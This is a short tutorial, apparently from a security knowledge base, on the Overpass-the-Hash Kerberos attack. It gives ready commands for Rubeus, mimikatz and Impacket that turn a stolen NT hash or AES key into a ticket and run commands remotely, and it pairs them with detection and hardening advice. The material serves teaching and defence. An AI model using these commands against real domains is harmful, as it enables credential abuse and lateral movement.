Overpass-the-Hash

Overpass-the-Hash (also pass-the-key) uses an account's NT hash or AES key to request a legitimate TGT from the KDC, and from there operates over Kerberos. It is the bridge between NTLM material and Kerberos: it turns a stolen hash into a real ticket, useful when NTLM Pass-the-Hash is blocked but we still hold the hash.

Why it works. In the initial Kerberos exchange (AS-REQ) the client proves its identity by encrypting a timestamp with a key derived from its password, not with the cleartext password. That key is precisely the account's NT hash (RC4) or its AES key. If we hold them, we can complete the AS-REQ without knowing the plaintext and receive a valid TGT, which is then loaded into memory like a regular Pass-the-Ticket.

The abuse. You request the TGT with the hash or key and inject it (/ptt).

# Rubeus: request the TGT with the RC4 hash (or /aes256:) and inject it
Rubeus.exe asktgt /user:<user> /domain:<domain> /rc4:<hash-NT> /ptt

# mimikatz: spawn a process with the Kerberos identity derived from the hash
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash-NT> /run:cmd.exe

# Linux (Impacket): request the TGT with the hash (or the AES key) and use it
getTGT.py <domain>/<user> -hashes :<hash-NT>
getTGT.py <domain>/<user> -aesKey <aes-key>
export KRB5CCNAME=<user>.ccache
wmiexec.py -k -no-pass <domain>/<user>@<target>

Requirements. You need the account's NT hash or AES key (from a LSASS dump, the SAM or a secretsdump) and the KDC must accept the encryption type used. Prefer AES over RC4: in hardened domains RC4 may be disabled and it also raises more suspicion.

How to detect it. The signal is an Event ID 4768 (a TGT was requested) with RC4 encryption type (0x17) in an environment already running AES: requesting a TGT with RC4 betrays that the key came from an NT hash, not a normal interactive logon. It helps to correlate that 4768 with an unusual host or time for the account, and with the absence of a prior interactive logon (4624 type 2) to justify it.

Defence. Disable RC4 in Kerberos to force AES, protect LSASS with Credential Guard so hashes and keys cannot be dumped, and place privileged accounts in Protected Users (which also blocks RC4 and shortens the TGT). It is the evolution of Pass-the-Hash when the target only speaks Kerberos, and it leads into a Pass-the-Ticket.